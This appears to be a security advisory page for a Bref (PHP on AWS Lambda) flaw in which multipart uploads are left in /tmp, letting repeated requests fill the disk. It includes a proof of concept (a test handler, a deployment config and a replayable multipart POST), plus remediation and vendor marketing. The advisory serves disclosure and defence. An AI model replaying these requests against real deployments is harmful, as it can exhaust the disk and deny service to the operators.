GHSA-x4hh-frx8-98r5
MEDIUMBref's Uploaded Files Not Deleted in Event-Driven Functions
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
bref/brefReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Impacted Resources
bref/src/Event/Http/Psr7Bridge.php:94-125
Description
When Bref is used with the Event-Driven Function runtime and the handler is a RequestHandlerInterface, then the Lambda event is converted to a PSR7 object.
During the conversion process, if the request is a MultiPart, each part is parsed and for each which contains a file, it is extracted and saved in /tmp with a random filename starting with bref_upload_.
The function implementing the logic follows:
private static function parseBodyAndUploadedFiles(HttpRequestEvent $event): array
{
$bodyString = $event->getBody();
$files = [];
$parsedBody = null;
$contentType = $event->getContentType();
if ($contentType !== null && $event->getMethod() === 'POST') {
if (str_starts_with($contentType, 'application/x-www-form-urlencoded')) {
parse_str($bodyString, $parsedBody);
} else {
$document = new Part("Content-type: $contentType\r\n\r\n" . $bodyString);
if ($document->isMultiPart()) {
$parsedBody = [];
foreach ($document->getParts() as $part) {
if ($part->isFile()) {
$tmpPath = tempnam(sys_get_temp_dir(), 'bref_upload_');
if ($tmpPath === false) {
throw new RuntimeException('Unable to create a temporary directory');
}
file_put_contents($tmpPath, $part->getBody());
$file = new UploadedFile($tmpPath, filesize($tmpPath), UPLOAD_ERR_OK, $part->getFileName(), $part->getMimeType());
self::parseKeyAndInsertValueInArray($files, $part->getName(), $file);
} else {
self::parseKeyAndInsertValueInArray($parsedBody, $part->getName(), $part->getBody());
}
}
}
}
}
return [$files, $parsedBody];
}
The flow mimics what plain PHP does but it does not delete the temporary files when the request has been processed.
Impact
An attacker could fill the Lambda instance disk by performing multiple MultiPart requests containing files. The attack has the following requirements and limitations:
- The Lambda should use the Event-Driven Function runtime.
- The Lambda should use the
RequestHandlerInterfacehandler. - The Lambda should implement at least an endpoint accepting POST requests.
- The attacker can send requests up to 6MB long, so multiple requests are required to fill the disk (the default Lambda disk size is 512MB, therefore with less than 100 requests the disk could be filled).
PoC
- Create a new Bref project.
- Create an
index.phpfile with the following content:
<?php
namespace App;
require __DIR__ . '/vendor/autoload.php';
use Nyholm\Psr7\Response;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\RequestHandlerInterface;
class MyHttpHandler implements RequestHandlerInterface
{
public function handle(ServerRequestInterface $request): ResponseInterface
{
return new Response(200, [], exec("ls -lah /tmp/bref_upload* | wc -l"));
}
}
return new MyHttpHandler();
- Use the following
serverless.ymlto deploy the Lambda:
service: app
provider:
name: aws
region: eu-central-1
plugins:
- ./vendor/bref/bref
# Exclude files from deployment
package:
patterns:
- '!node_modules/**'
- '!tests/**'
functions:
api:
handler: index.php
runtime: php-83
events:
- httpApi: 'ANY /upload'
- Replay the following request multiple times after having replaced the
<HOST>placeholder with the deployed Lambda domain:
POST /upload HTTP/2
Host: <HOST>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQqDeSZSSvmn2rfjb
Content-Length: 180
------WebKitFormBoundaryQqDeSZSSvmn2rfjb
Content-Disposition: form-data; name="a"; filename="a.txt"
Content-Type: text/plain
test
------WebKitFormBoundaryQqDeSZSSvmn2rfjb--
- Notice that each time the request is sent the number of the uploaded temporary files on the disk increases.
Suggested Remediation
Delete the temporary files after the request has been processed and the response have been generated.
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | bref/bref | all versions | 2.1.13 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bref/bref. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update bref/bref to 2.1.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x4hh-frx8-98r5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-x4hh-frx8-98r5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-x4hh-frx8-98r5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-x4hh-frx8-98r5 in your dependencies?
O3 detects GHSA-x4hh-frx8-98r5 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.